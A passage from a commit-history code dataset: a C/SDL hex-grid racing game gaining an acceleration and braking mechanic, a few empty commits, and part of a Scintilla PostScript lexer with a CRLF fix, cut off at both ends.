rect.x = centreX-width\/2;\n    rect.y = centreY-height\/2;\n    rect.w = width;\n    rect.h = height;\n    SDL_RenderFillRect(renderer, &rect);\n}\n\nvoid render(SDL_Renderer* renderer, GameState* gameState)\n{\n    \/\/ Clear to black\n    SDL_SetRenderDrawColor(renderer, 0, 0, 0, 255);\n    SDL_RenderClear(renderer);\n    SDL_SetRenderDrawColor(renderer, 255, 255, 255, 255);\n\n    \/\/ Draw Hex Grid\n    for(int y=0; y<gridHeight; ++y)\n    {\n        for(int x=0; x<gridWidth; ++x)\n        {\n            int centreX = (int)(gridOriginX + x*hexWidth);\n            int centreY = (int)(gridOriginY + y*hexHeight);\n            if(x%2 == 0)\n            {\n                centreY += (int)(hexHeight\/2.0f);\n            }\n            drawRegularHex(renderer, centreX, centreY, hexSize);\n\n            char hexType = *((char*)gameState->map.data + (y*gameState->map.width + x));\n            if(hexType != 'X')\n            {\n                int screenX = hexToScreenX(x);\n                int screenY = hexToScreenY(x, y);\n                fillRect(renderer, screenX, screenY, (int)(hexWidth\/2), (int)(hexHeight\/2));\n            }\n        }\n    }\n\n    \/\/ Draw player hex's\n    int playerScreenX;\n    int playerScreenY;\n    playerScreenX = hexToScreenX(gameState->playerLoc[0].x);\n    playerScreenY = hexToScreenY(gameState->playerLoc[0].x, gameState->playerLoc[0].y);\n    SDL_SetRenderDrawColor(renderer, 255, 105, 97, 255);\n    fillRect(renderer, playerScreenX, playerScreenY, (int)(hexWidth\/2), (int)(hexHeight\/2));\n    playerScreenX = hexToScreenX(gameState->playerLoc[1].x);\n    playerScreenY = hexToScreenY(gameState->playerLoc[1].x, gameState->playerLoc[1].y);\n    SDL_SetRenderDrawColor(renderer, 97, 168, 255, 255);\n    fillRect(renderer, playerScreenX, playerScreenY, (int)(hexWidth\/2), (int)(hexHeight\/2));\n\n    \/\/ Draw Mouseover'd Hex\n    int mouseX;\n    int mouseY;\n    SDL_GetMouseState(&mouseX, &mouseY);\n    int mouseHexX = screenToHexX(mouseX);\n    int mouseHexY = screenToHexY(mouseX, mouseY);\n    if(mouseHexX < 0)\n    {\n        mouseHexX = 0;\n    }\n    else if(mouseHexX >= gridWidth)\n    {\n        mouseHexX = gridWidth-1;\n    }\n    if(mouseHexY < 0)\n    {\n        mouseHexY = 0;\n    }\n    else if(mouseHexY >= gridHeight)\n    {\n        mouseHexY = gridHeight-1;\n    }\n    int roundedMouseX = hexToScreenX(mouseHexX);\n    int roundedMouseY = hexToScreenY(mouseHexX, mouseHexY);\n    SDL_SetRenderDrawColor(renderer, 255, 255, 255, 255);\n    fillRect(renderer, roundedMouseX, roundedMouseY, (int)(hexWidth\/2), (int)(hexHeight\/2));\n\n    \/\/ Draw Text\n    text(renderer, \"HexRacer!\", 650, 10);\n    char p1VeloStr[4];\n    char p2VeloStr[4];\n    _itoa_s(gameState->playerVelocity[0], p1VeloStr, 10);\n    _itoa_s(gameState->playerVelocity[1], p2VeloStr, 10);\n    text(renderer, \"P1Spd:\", 650, 50);\n    text(renderer, p1VeloStr, 750, 50);\n    text(renderer, \"P2Spd:\", 650, 100);\n    text(renderer, p2VeloStr, 750, 100);\n\n    SDL_RenderPresent(renderer);\n}\n\nvoid SDLHandleEvent(SDL_Event* event)\n{\n    switch(event->type)\n    {\n        case SDL_QUIT:\n        {\n            running = false;\n        } break;\n        case SDL_KEYDOWN:\n        case SDL_KEYUP:\n        {\n            SDL_Keycode keyCode = event->key.keysym.sym;\n            if(keyCode == SDLK_w && !event->key.repeat && event->key.state == SDL_PRESSED)\n            {\n                printf(\"W\\n\");\n            }\n            if(keyCode == SDLK_ESCAPE)\n            {\n                running = false;\n            }\n        } break;\n        case SDL_WINDOWEVENT:\n        {\n            switch(event->window.event)\n            {\n                case SDL_WINDOWEVENT_RESIZED:\n                {\n                } break;\n            }\n        } break;\n        default:\n        {\n        } break;\n    }\n}\n\nint main(int argc, char** argv)\n{\n    if(SDL_Init(SDL_INIT_VIDEO) != 0)\n    {\n        \/\/ Couldn't load SDL\n        SDL_ShowSimpleMessageBox(SDL_MESSAGEBOX_INFORMATION, \"Error\", \"Unable to load SDL!\", 0);    \n        return 1;\n    }\n\n    if(TTF_Init()==-1)\n    {\n        printf(\"TTF_Init: %s\\n\", TTF_GetError());\n        return 1;\n    }\n\n    SDL_Window* window  = SDL_CreateWindow(\"Hex Racing\", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED,\n                                           800, 800, SDL_WINDOW_RESIZABLE);\n    if(window)\n    {\n        SDL_Renderer* renderer = SDL_CreateRenderer(window, -1, 0);\n        if(renderer)\n        {\n            GameState gameState;\n            loadMap(\"test.map\", &gameState);\n            \n            gameState.currentPlayer = 0;\n            gameState.playerVelocity[0] = 1;\n            gameState.playerVelocity[1] = 1;\n\n            font = TTF_OpenFont(\"ubuntumono.ttf\", fontSize);\n\n            running = true;\n            while(running)\n            {\n                SDL_Event event;\n                while(SDL_PollEvent(&event))\n                {\n                    SDLHandleEvent(&event);    \n                }\n\n                render(renderer, &gameState);\n            }\n\n            free(gameState.map.data);\n        }\n        else\n        {\n            \/\/ Couldn't create renderer\n        }\n    }\n    else\n    {\n        \/\/ Couldn't create window\n    }\n\n    SDL_Quit();\n    return 0;\n}\n<commit_msg>Add initial basic acceleration\/braking implementation<commit_after>\/\/ Hex math taken from the amazing Amit Patel @ http:\/\/www.redblobgames.com\/grids\/hexagons\/\n\n#include <SDL.h>\n#include <SDL_ttf.h>\n#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <time.h>\n#include <math.h>\n\ntypedef int8_t int8;\ntypedef int16_t int16;\ntypedef int32_t int32;\ntypedef int64_t int64;\n\ntypedef uint8_t uint8;\ntypedef uint16_t uint16;\ntypedef uint32_t uint32;\ntypedef uint64_t uint64;\n\n#define PI 3.1415927f\n\nstatic bool running;\n\nint gridOriginX = 30;\nint gridOriginY = 30;\nint gridWidth = 14;\nint gridHeight = 14;\nint hexSize = 30;\nfloat hexWidth = (3.0f\/2.0f) * hexSize;\nfloat hexHeight = sqrt(3.0f) * hexSize;\n\nint fontSize = 22;\nTTF_Font* font;\n\nstruct Map\n{\n    int width;\n    int height;\n    void* data;\n};\n\nstruct GameState\n{\n    Map map;\n\n    int currentPlayer;\n    int playerVelocity[2];\n    SDL_Point playerLoc[2];\n};\n\n\nbool isDigit(int c)\n{\n    return c >= '0' && c <= '9';\n}\n\nint getUIntFromByteStream(FILE* inFile)\n{\n    int result = 0;\n    int nextByte;\n    while(isDigit(nextByte = fgetc(inFile)))\n    {\n        if(nextByte == EOF)\n        {\n            printf(\"Error reading map file, unexpected EOF\\n\");\n            return -1;\n        }\n        result = (10*result+(nextByte-'0'));\n    }\n    return result;\n}\n\nvoid loadMap(char* filename, GameState* gameState)\n{\n    FILE* inFile;\n    fopen_s(&inFile, filename, \"r\");\n    \n    \/\/ Load Map Data\n    gameState->map.width = getUIntFromByteStream(inFile);\n    gameState->map.height = getUIntFromByteStream(inFile);\n    gameState->map.data = malloc(gameState->map.width * gameState->map.height);\n    for(int y=0; y<gameState->map.height; ++y)\n    {\n        fread((void*)((char*)gameState->map.data + gameState->map.width*y), 1, gameState->map.width, inFile);\n        fgetc(inFile); \/\/ Skip the newline byte\n    }\n\tfclose(inFile);\n\n    \/\/ Assign player start locations\n    for(int y=0; y<gameState->map.height; ++y)\n    {\n        for(int x=0; x<gameState->map.width; ++x)\n        {\n            char c = *((char*)gameState->map.data + gameState->map.width*y + x);\n            if(c == 'A')\n            {\n                gameState->playerLoc[0].x = x;\n                gameState->playerLoc[0].y = y;\n            }\n            else if(c == 'B')\n            {\n                gameState->playerLoc[1].x = x;\n                gameState->playerLoc[1].y = y;\n            }\n        }\n    }\n}\n\n\/\/ TODO: Implement this properly (at the moment it's SUPER inefficient)\nvoid text(SDL_Renderer* renderer, char* text, int x, int y)\n{\n    int textLength = 0;\n    while(text[textLength] != 0)\n    {\n        ++textLength;\n    }\n    \n    SDL_Color White = {255, 255, 255};\n    SDL_Surface* surfaceMessage = TTF_RenderText_Solid(font, text, White);\n    SDL_Texture* TextMessage = SDL_CreateTextureFromSurface(renderer, surfaceMessage);\n\n    SDL_Rect Message_rect;\n    Message_rect.x = x;\n    Message_rect.y = y;\n    Message_rect.w = (int)(fontSize*(3.0f\/4.0f))*textLength;\n    Message_rect.h = fontSize+5; \/\/ controls the height of the rect\n    printf(\"%s\\n\", SDL_GetError());\n    \/\/Now since it's a texture, you have to put RenderCopy in your game loop area, the area where the whole code executes\n    SDL_RenderCopy(renderer, TextMessage, NULL, &Message_rect); \/\/you put the renderer's name first, the Message, the crop size(you can ignore this if you don't want to dabble with cropping), and the rect which is the size and coordinate of your texture\n    SDL_FreeSurface(surfaceMessage);\n    SDL_DestroyTexture(TextMessage);\n}\n\nint round(float x)\n{\n    return (int)(x+0.5f);\n}\n\nint screenToHexX(int screenX)\n{\n    return (int)round((screenX - gridOriginX)\/hexWidth);\n}\n\nint screenToHexY(int screenX, int screenY)\n{\n    int hexX = screenToHexX(screenX);\n    if(hexX%2 == 0)\n    {\n        screenY -= (int)(hexHeight\/2.0f);\n    }\n    return (int)round((screenY - gridOriginY)\/hexHeight);\n}\n\nint hexToScreenX(int hexX)\n{\n    return gridOriginX + (int)(hexWidth*hexX);\n}\n\nint hexToScreenY(int hexX, int hexY)\n{\n    int result = gridOriginY + (int)(hexHeight*hexY);\n    if(hexX%2 == 0)\n    {\n        result += (int)(hexHeight\/2.0f);\n    }\n    return result;\n}\n\nint drawRegularHex(SDL_Renderer* renderer, int centreX, int centreY, int radius)\n{\n    SDL_Point hexPoints[7];\n    for(int i=0; i<7; ++i)\n    {\n        float angle = (60.0f*i);\n        float angle_rad = (PI\/180) * angle;\n\n        hexPoints[i].x = (int)(centreX + radius*cosf(angle_rad));\n        hexPoints[i].y = (int)(centreY + radius*sinf(angle_rad));\n    }\n    return SDL_RenderDrawLines(renderer, hexPoints, 7);\n}\n\nvoid fillRect(SDL_Renderer* renderer, int centreX, int centreY, int width, int height)\n{\n    SDL_Rect rect;\n    rect.x = centreX-width\/2;\n    rect.y = centreY-height\/2;\n    rect.w = width;\n    rect.h = height;\n    SDL_RenderFillRect(renderer, &rect);\n}\n\nvoid render(SDL_Renderer* renderer, GameState* gameState)\n{\n    \/\/ Clear to black\n    SDL_SetRenderDrawColor(renderer, 0, 0, 0, 255);\n    SDL_RenderClear(renderer);\n    SDL_SetRenderDrawColor(renderer, 255, 255, 255, 255);\n\n    \/\/ Draw Hex Grid\n    for(int y=0; y<gridHeight; ++y)\n    {\n        for(int x=0; x<gridWidth; ++x)\n        {\n            int centreX = (int)(gridOriginX + x*hexWidth);\n            int centreY = (int)(gridOriginY + y*hexHeight);\n            if(x%2 == 0)\n            {\n                centreY += (int)(hexHeight\/2.0f);\n            }\n            drawRegularHex(renderer, centreX, centreY, hexSize);\n\n            char hexType = *((char*)gameState->map.data + (y*gameState->map.width + x));\n            if(hexType != 'X')\n            {\n                int screenX = hexToScreenX(x);\n                int screenY = hexToScreenY(x, y);\n                fillRect(renderer, screenX, screenY, (int)(hexWidth\/2), (int)(hexHeight\/2));\n            }\n        }\n    }\n\n    \/\/ Draw player hex's\n    int playerScreenX;\n    int playerScreenY;\n    playerScreenX = hexToScreenX(gameState->playerLoc[0].x);\n    playerScreenY = hexToScreenY(gameState->playerLoc[0].x, gameState->playerLoc[0].y);\n    SDL_SetRenderDrawColor(renderer, 255, 105, 97, 255);\n    fillRect(renderer, playerScreenX, playerScreenY, (int)(hexWidth\/2), (int)(hexHeight\/2));\n    playerScreenX = hexToScreenX(gameState->playerLoc[1].x);\n    playerScreenY = hexToScreenY(gameState->playerLoc[1].x, gameState->playerLoc[1].y);\n    SDL_SetRenderDrawColor(renderer, 97, 168, 255, 255);\n    fillRect(renderer, playerScreenX, playerScreenY, (int)(hexWidth\/2), (int)(hexHeight\/2));\n\n    \/\/ Draw Mouseover'd Hex\n    int mouseX;\n    int mouseY;\n    SDL_GetMouseState(&mouseX, &mouseY);\n    int mouseHexX = screenToHexX(mouseX);\n    int mouseHexY = screenToHexY(mouseX, mouseY);\n    if(mouseHexX < 0)\n    {\n        mouseHexX = 0;\n    }\n    else if(mouseHexX >= gridWidth)\n    {\n        mouseHexX = gridWidth-1;\n    }\n    if(mouseHexY < 0)\n    {\n        mouseHexY = 0;\n    }\n    else if(mouseHexY >= gridHeight)\n    {\n        mouseHexY = gridHeight-1;\n    }\n    int roundedMouseX = hexToScreenX(mouseHexX);\n    int roundedMouseY = hexToScreenY(mouseHexX, mouseHexY);\n    SDL_SetRenderDrawColor(renderer, 255, 255, 255, 255);\n    fillRect(renderer, roundedMouseX, roundedMouseY, (int)(hexWidth\/2), (int)(hexHeight\/2));\n\n    \/\/ Draw Text\n    text(renderer, \"HexRacer!\", 650, 10);\n    char p1VeloStr[4];\n    char p2VeloStr[4];\n    char toPlayStr[4];\n    _itoa_s(gameState->playerVelocity[0], p1VeloStr, 10);\n    _itoa_s(gameState->playerVelocity[1], p2VeloStr, 10);\n    _itoa_s(gameState->currentPlayer+1, toPlayStr, 10);\n\n    text(renderer, \"P1Spd:\", 650, 50);\n    text(renderer, p1VeloStr, 750, 50);\n    text(renderer, \"P2Spd:\", 650, 100);\n    text(renderer, p2VeloStr, 750, 100);\n    text(renderer, \"To Play:\", 650, 200);\n    text(renderer, \"Player \", 650, 230);\n    text(renderer, toPlayStr, 760, 230);\n\n    SDL_RenderPresent(renderer);\n}\n\nvoid SDLHandleEvent(SDL_Event* event, GameState* gameState)\n{\n    switch(event->type)\n    {\n        case SDL_QUIT:\n        {\n            running = false;\n        } break;\n        case SDL_KEYDOWN:\n        case SDL_KEYUP:\n        {\n            SDL_Keycode keyCode = event->key.keysym.sym;\n            if(keyCode == SDLK_a && !event->key.repeat && event->key.state == SDL_PRESSED)\n            {\n                printf(\"Accelerate\\n\");\n                int deltaSpeed = (rand()%6)\/2;\n                gameState->playerVelocity[gameState->currentPlayer] += deltaSpeed;\n                gameState->currentPlayer = (gameState->currentPlayer+1)%2;\n            }\n            else if(keyCode == SDLK_b && !event->key.repeat && event->key.state == SDL_PRESSED)\n            {\n                printf(\"Break\\n\");\n                int deltaSpeed = (rand()%6)\/2;\n                gameState->playerVelocity[gameState->currentPlayer] -= deltaSpeed;\n                if(gameState->playerVelocity[gameState->currentPlayer] < 1)\n                {\n                    gameState->playerVelocity[gameState->currentPlayer] = 1;\n                }\n                gameState->currentPlayer = (gameState->currentPlayer+1)%2;\n            }\n            if(keyCode == SDLK_ESCAPE)\n            {\n                running = false;\n            }\n        } break;\n        case SDL_WINDOWEVENT:\n        {\n            switch(event->window.event)\n            {\n                case SDL_WINDOWEVENT_RESIZED:\n                {\n                } break;\n            }\n        } break;\n        default:\n        {\n        } break;\n    }\n}\n\nint main(int argc, char** argv)\n{\n    if(SDL_Init(SDL_INIT_VIDEO) != 0)\n    {\n        \/\/ Couldn't load SDL\n        SDL_ShowSimpleMessageBox(SDL_MESSAGEBOX_INFORMATION, \"Error\", \"Unable to load SDL!\", 0);    \n        return 1;\n    }\n\n    if(TTF_Init()==-1)\n    {\n        printf(\"TTF_Init: %s\\n\", TTF_GetError());\n        return 1;\n    }\n\n    SDL_Window* window  = SDL_CreateWindow(\"Hex Racing\", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED,\n                                           800, 800, SDL_WINDOW_RESIZABLE);\n    if(window)\n    {\n        SDL_Renderer* renderer = SDL_CreateRenderer(window, -1, 0);\n        if(renderer)\n        {\n            srand((unsigned int)time(0));\n\n            GameState gameState;\n            loadMap(\"test.map\", &gameState);\n            \n            gameState.currentPlayer = 0;\n            gameState.playerVelocity[0] = 1;\n            gameState.playerVelocity[1] = 1;\n\n            font = TTF_OpenFont(\"ubuntumono.ttf\", fontSize);\n\n            running = true;\n            while(running)\n            {\n                SDL_Event event;\n                while(SDL_PollEvent(&event))\n                {\n                    SDLHandleEvent(&event, &gameState);    \n                }\n\n                render(renderer, &gameState);\n            }\n\n            free(gameState.map.data);\n        }\n        else\n        {\n            \/\/ Couldn't create renderer\n        }\n    }\n    else\n    {\n        \/\/ Couldn't create window\n    }\n\n    SDL_Quit();\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>fix bad assertion<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Adding stdlib to CsvFile<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Bugfix for when last line is a comment<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix illegal variable name<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Scintilla source code edit control\n\/** @file LexPS.cxx\n ** Lexer for PostScript\n **\n ** Written by Nigel Hathaway <nigel@bprj.co.uk>.\n ** The License.txt file describes the conditions under which this software may be distributed.\n **\/\n\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n#include <stdarg.h>\n#include <stdio.h>\n\n#include \"Platform.h\"\n\n#include \"PropSet.h\"\n#include \"Accessor.h\"\n#include \"StyleContext.h\"\n#include \"KeyWords.h\"\n#include \"Scintilla.h\"\n#include \"SciLexer.h\"\n\n#ifdef SCI_NAMESPACE\nusing namespace Scintilla;\n#endif\n\nstatic inline bool IsASelfDelimitingChar(const int ch) {\n    return (ch == '[' || ch == ']' || ch == '{' || ch == '}' ||\n            ch == '\/' || ch == '<' || ch == '>' ||\n            ch == '(' || ch == ')' || ch == '%');\n}\n\nstatic inline bool IsAWhitespaceChar(const int ch) {\n    return (ch == ' '  || ch == '\\t' || ch == '\\r' ||\n            ch == '\\n' || ch == '\\f' || ch == '\\0');\n}\n\nstatic bool IsABaseNDigit(const int ch, const int base) {\n    int maxdig = '9';\n    int letterext = -1;\n\n    if (base <= 10)\n        maxdig = '0' + base - 1;\n    else\n        letterext = base - 11;\n\n    return ((ch >= '0' && ch <= maxdig) ||\n            (ch >= 'A' && ch <= ('A' + letterext)) ||\n            (ch >= 'a' && ch <= ('a' + letterext)));\n}\n\nstatic inline bool IsABase85Char(const int ch) {\n    return ((ch >= '!' && ch <= 'u') || ch == 'z');\n}\n\nstatic void ColourisePSDoc(\n    unsigned int startPos,\n    int length,\n    int initStyle,\n    WordList *keywordlists[],\n    Accessor &styler) {\n\n    WordList &keywords1 = *keywordlists[0];\n    WordList &keywords2 = *keywordlists[1];\n    WordList &keywords3 = *keywordlists[2];\n    WordList &keywords4 = *keywordlists[3];\n    WordList &keywords5 = *keywordlists[4];\n\n    StyleContext sc(startPos, length, initStyle, styler);\n\n    bool tokenizing = styler.GetPropertyInt(\"ps.tokenize\") != 0;\n    int pslevel = styler.GetPropertyInt(\"ps.level\", 3);\n    int lineCurrent = styler.GetLine(startPos);\n    int nestTextCurrent = 0;\n    if (lineCurrent > 0 && initStyle == SCE_PS_TEXT)\n        nestTextCurrent = styler.GetLineState(lineCurrent - 1);\n    int numRadix = 0;\n    bool numHasPoint = false;\n    bool numHasExponent = false;\n    bool numHasSign = false;\n\n    \/\/ Clear out existing tokenization\n    if (tokenizing && length > 0) {\n        styler.StartAt(startPos, static_cast<char>(INDIC2_MASK));\n        styler.ColourTo(startPos + length-1, 0);\n        styler.Flush();\n        styler.StartAt(startPos);\n        styler.StartSegment(startPos);\n    }\n\n    for (; sc.More(); sc.Forward()) {\n        if (sc.atLineStart)\n            lineCurrent = styler.GetLine(sc.currentPos);\n\n        \/\/ Determine if the current state should terminate.\n        if (sc.state == SCE_PS_COMMENT || sc.state == SCE_PS_DSC_VALUE) {\n            if (sc.atLineEnd) {\n                sc.SetState(SCE_C_DEFAULT);\n            }\n        } else if (sc.state == SCE_PS_DSC_COMMENT) {\n            if (sc.ch == ':') {\n                sc.Forward();\n                if (!sc.atLineEnd)\n                    sc.SetState(SCE_PS_DSC_VALUE);\n                else\n                    sc.SetState(SCE_C_DEFAULT);\n            } else if (sc.atLineEnd) {\n                sc.SetState(SCE_C_DEFAULT);\n            } else if (IsAWhitespaceChar(sc.ch)) {\n                sc.ChangeState(SCE_PS_COMMENT);\n            }\n        } else if (sc.state == SCE_PS_NUMBER) {\n            if (IsASelfDelimitingChar(sc.ch) || IsAWhitespaceChar(sc.ch)) {\n                if ((sc.chPrev == '+' || sc.chPrev == '-' ||\n                     sc.chPrev == 'E' || sc.chPrev == 'e') && numRadix == 0)\n                    sc.ChangeState(SCE_PS_NAME);\n                sc.SetState(SCE_C_DEFAULT);\n            } else if (sc.ch == '#') {\n                if (numHasPoint || numHasExponent || numHasSign || numRadix != 0) {\n                    sc.ChangeState(SCE_PS_NAME);\n                } else {\n                    char szradix[5];\n                    sc.GetCurrent(szradix, 4);\n                    numRadix = atoi(szradix);\n                    if (numRadix < 2 || numRadix > 36)\n                        sc.ChangeState(SCE_PS_NAME);\n                }\n            } else if ((sc.ch == 'E' || sc.ch == 'e') && numRadix == 0) {\n                if (numHasExponent) {\n                    sc.ChangeState(SCE_PS_NAME);\n                } else {\n                    numHasExponent = true;\n                    if (sc.chNext == '+' || sc.chNext == '-')\n                        sc.Forward();\n                }\n            } else if (sc.ch == '.') {\n                if (numHasPoint || numHasExponent || numRadix != 0) {\n                    sc.ChangeState(SCE_PS_NAME);\n                } else {\n                    numHasPoint = true;\n                }\n            } else if (numRadix == 0) {\n                if (!IsABaseNDigit(sc.ch, 10))\n                    sc.ChangeState(SCE_PS_NAME);\n            } else {\n                if (!IsABaseNDigit(sc.ch, numRadix))\n                    sc.ChangeState(SCE_PS_NAME);\n            }\n        } else if (sc.state == SCE_PS_NAME || sc.state == SCE_PS_KEYWORD) {\n            if (IsASelfDelimitingChar(sc.ch) || IsAWhitespaceChar(sc.ch)) {\n                char s[100];\n                sc.GetCurrent(s, sizeof(s));\n                if ((pslevel >= 1 && keywords1.InList(s)) ||\n                    (pslevel >= 2 && keywords2.InList(s)) ||\n                    (pslevel >= 3 && keywords3.InList(s)) ||\n                    keywords4.InList(s) || keywords5.InList(s)) {\n                    sc.ChangeState(SCE_PS_KEYWORD);\n                }\n                sc.SetState(SCE_C_DEFAULT);\n            }\n        } else if (sc.state == SCE_PS_LITERAL || sc.state == SCE_PS_IMMEVAL) {\n            if (IsASelfDelimitingChar(sc.ch) || IsAWhitespaceChar(sc.ch))\n                sc.SetState(SCE_C_DEFAULT);\n        } else if (sc.state == SCE_PS_PAREN_ARRAY || sc.state == SCE_PS_PAREN_DICT ||\n                   sc.state == SCE_PS_PAREN_PROC) {\n            sc.SetState(SCE_C_DEFAULT);\n        } else if (sc.state == SCE_PS_TEXT) {\n            if (sc.ch == '(') {\n                nestTextCurrent++;\n            } else if (sc.ch == ')') {\n                if (--nestTextCurrent == 0)\n                   sc.ForwardSetState(SCE_PS_DEFAULT);\n            } else if (sc.ch == '\\\\') {\n                sc.Forward();\n            }\n        } else if (sc.state == SCE_PS_HEXSTRING) {\n            if (sc.ch == '>') {\n                sc.ForwardSetState(SCE_PS_DEFAULT);\n            } else if (!IsABaseNDigit(sc.ch, 16) && !IsAWhitespaceChar(sc.ch)) {\n                sc.SetState(SCE_PS_HEXSTRING);\n                styler.ColourTo(sc.currentPos, SCE_PS_BADSTRINGCHAR);\n            }\n        } else if (sc.state == SCE_PS_BASE85STRING) {\n            if (sc.Match('~', '>')) {\n                sc.Forward();\n                sc.ForwardSetState(SCE_PS_DEFAULT);\n            } else if (!IsABase85Char(sc.ch) && !IsAWhitespaceChar(sc.ch)) {\n                sc.SetState(SCE_PS_BASE85STRING);\n                styler.ColourTo(sc.currentPos, SCE_PS_BADSTRINGCHAR);\n            }\n        }\n\n        \/\/ Determine if a new state should be entered.\n        if (sc.state == SCE_C_DEFAULT) {\n            unsigned int tokenpos = sc.currentPos;\n\n            if (sc.ch == '[' || sc.ch == ']') {\n                sc.SetState(SCE_PS_PAREN_ARRAY);\n            } else if (sc.ch == '{' || sc.ch == '}') {\n                sc.SetState(SCE_PS_PAREN_PROC);\n            } else if (sc.ch == '\/') {\n                if (sc.chNext == '\/') {\n                    sc.SetState(SCE_PS_IMMEVAL);\n                    sc.Forward();\n                } else {\n                    sc.SetState(SCE_PS_LITERAL);\n                }\n            } else if (sc.ch == '<') {\n                if (sc.chNext == '<') {\n                    sc.SetState(SCE_PS_PAREN_DICT);\n                    sc.Forward();\n                } else if (sc.chNext == '~') {\n                    sc.SetState(SCE_PS_BASE85STRING);\n                    sc.Forward();\n                } else {\n                    sc.SetState(SCE_PS_HEXSTRING);\n                }\n            } else if (sc.ch == '>' && sc.chNext == '>') {\n                    sc.SetState(SCE_PS_PAREN_DICT);\n                    sc.Forward();\n            } else if (sc.ch == '>' || sc.ch == ')') {\n                sc.SetState(SCE_C_DEFAULT);\n                styler.ColourTo(sc.currentPos, SCE_PS_BADSTRINGCHAR);\n            } else if (sc.ch == '(') {\n                sc.SetState(SCE_PS_TEXT);\n                nestTextCurrent = 1;\n            } else if (sc.ch == '%') {\n                if (sc.chNext == '%' && sc.atLineStart) {\n                    sc.SetState(SCE_PS_DSC_COMMENT);\n                    sc.Forward();\n                    if (sc.chNext == '+') {\n                        sc.Forward();\n                        sc.ForwardSetState(SCE_PS_DSC_VALUE);\n                    }\n                } else {\n                    sc.SetState(SCE_PS_COMMENT);\n                }\n            } else if ((sc.ch == '+' || sc.ch == '-' || sc.ch == '.') &&\n                       IsABaseNDigit(sc.chNext, 10)) {\n                sc.SetState(SCE_PS_NUMBER);\n                numRadix = 0;\n                numHasPoint = (sc.ch == '.');\n                numHasExponent = false;\n                numHasSign = (sc.ch == '+' || sc.ch == '-');\n            } else if ((sc.ch == '+' || sc.ch == '-') && sc.chNext == '.' &&\n                       IsABaseNDigit(sc.GetRelative(2), 10)) {\n                sc.SetState(SCE_PS_NUMBER);\n                numRadix = 0;\n                numHasPoint = false;\n                numHasExponent = false;\n                numHasSign = true;\n            } else if (IsABaseNDigit(sc.ch, 10)) {\n                sc.SetState(SCE_PS_NUMBER);\n                numRadix = 0;\n                numHasPoint = false;\n                numHasExponent = false;\n                numHasSign = false;\n            } else if (!IsAWhitespaceChar(sc.ch)) {\n                sc.SetState(SCE_PS_NAME);\n            }\n\n            \/\/ Mark the start of tokens\n            if (tokenizing && sc.state != SCE_C_DEFAULT && sc.state != SCE_PS_COMMENT &&\n                sc.state != SCE_PS_DSC_COMMENT && sc.state != SCE_PS_DSC_VALUE) {\n                styler.Flush();\n                styler.StartAt(tokenpos, static_cast<char>(INDIC2_MASK));\n                styler.ColourTo(tokenpos, INDIC2_MASK);\n                styler.Flush();\n                styler.StartAt(tokenpos);\n                styler.StartSegment(tokenpos);\n            }\n        }\n\n        if (sc.atLineEnd)\n            styler.SetLineState(lineCurrent, nestTextCurrent);\n    }\n\n    sc.Complete();\n}\n\nstatic void FoldPSDoc(unsigned int startPos, int length, int, WordList *[],\n                       Accessor &styler) {\n    bool foldCompact = styler.GetPropertyInt(\"fold.compact\", 1) != 0;\n    bool foldAtElse = styler.GetPropertyInt(\"fold.at.else\", 0) != 0;\n    unsigned int endPos = startPos + length;\n    int visibleChars = 0;\n    int lineCurrent = styler.GetLine(startPos);\n    int levelCurrent = SC_FOLDLEVELBASE;\n    if (lineCurrent > 0)\n        levelCurrent = styler.LevelAt(lineCurrent-1) >> 16;\n    int levelMinCurrent = levelCurrent;\n    int levelNext = levelCurrent;\n    char chNext = styler[startPos];\n    int styleNext = styler.StyleAt(startPos);\n    int style;\n    for (unsigned int i = startPos; i < endPos; i++) {\n        char ch = chNext;\n        chNext = styler.SafeGetCharAt(i + 1);\n        style = styleNext;\n        styleNext = styler.StyleAt(i + 1);\n        bool atEOL = (ch == '\\r' && chNext != '\\n') || (ch == '\\n');  \/\/mac??\n        if ((style & 31) == SCE_PS_PAREN_PROC) {\n            if (ch == '{') {\n                \/\/ Measure the minimum before a '{' to allow\n                \/\/ folding on \"} {\"\n                if (levelMinCurrent > levelNext) {\n                    levelMinCurrent = levelNext;\n                }\n                levelNext++;\n            } else if (ch == '}') {\n                levelNext--;\n            }\n        }\n        if (atEOL) {\n            int levelUse = levelCurrent;\n            if (foldAtElse) {\n                levelUse = levelMinCurrent;\n            }\n            int lev = levelUse | levelNext << 16;\n            if (visibleChars == 0 && foldCompact)\n                lev |= SC_FOLDLEVELWHITEFLAG;\n            if (levelUse < levelNext)\n                lev |= SC_FOLDLEVELHEADERFLAG;\n            if (lev != styler.LevelAt(lineCurrent)) {\n                styler.SetLevel(lineCurrent, lev);\n            }\n            lineCurrent++;\n            levelCurrent = levelNext;\n            levelMinCurrent = levelCurrent;\n            visibleChars = 0;\n        }\n        if (!isspacechar(ch))\n            visibleChars++;\n    }\n}\n\nstatic const char * const psWordListDesc[] = {\n    \"PS Level 1 operators\",\n    \"PS Level 2 operators\",\n    \"PS Level 3 operators\",\n    \"RIP-specific operators\",\n    \"User-defined operators\",\n    0\n};\n\nLexerModule lmPS(SCLEX_PS, ColourisePSDoc, \"ps\", FoldPSDoc, psWordListDesc);\n<commit_msg>Patch from Kein-Hong Man fixes a CRLF glitch in LexPS.<commit_after>\/\/ Scintilla source code edit control\n\/** @file LexPS.cxx\n ** Lexer for PostScript\n **\n ** Written by Nigel Hathaway <nigel@bprj.co.uk>.\n ** The License.txt file describes the conditions under which this software may be distributed.\n **\/\n\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n#include <stdarg.h>\n#include <stdio.h>\n\n#include \"Platform.h\"\n\n#include \"PropSet.h\"\n#include \"Accessor.h\"\n#include \"StyleContext.h\"\n#include \"KeyWords.h\"\n#include \"Scintilla.h\"\n#include \"SciLexer.h\"\n\n#ifdef SCI_NAMESPACE\nusing namespace Scintilla;\n#endif\n\nstatic inline bool IsASelfDelimitingChar(const int ch) {\n    return (ch == '[' || ch == ']' || ch == '{' 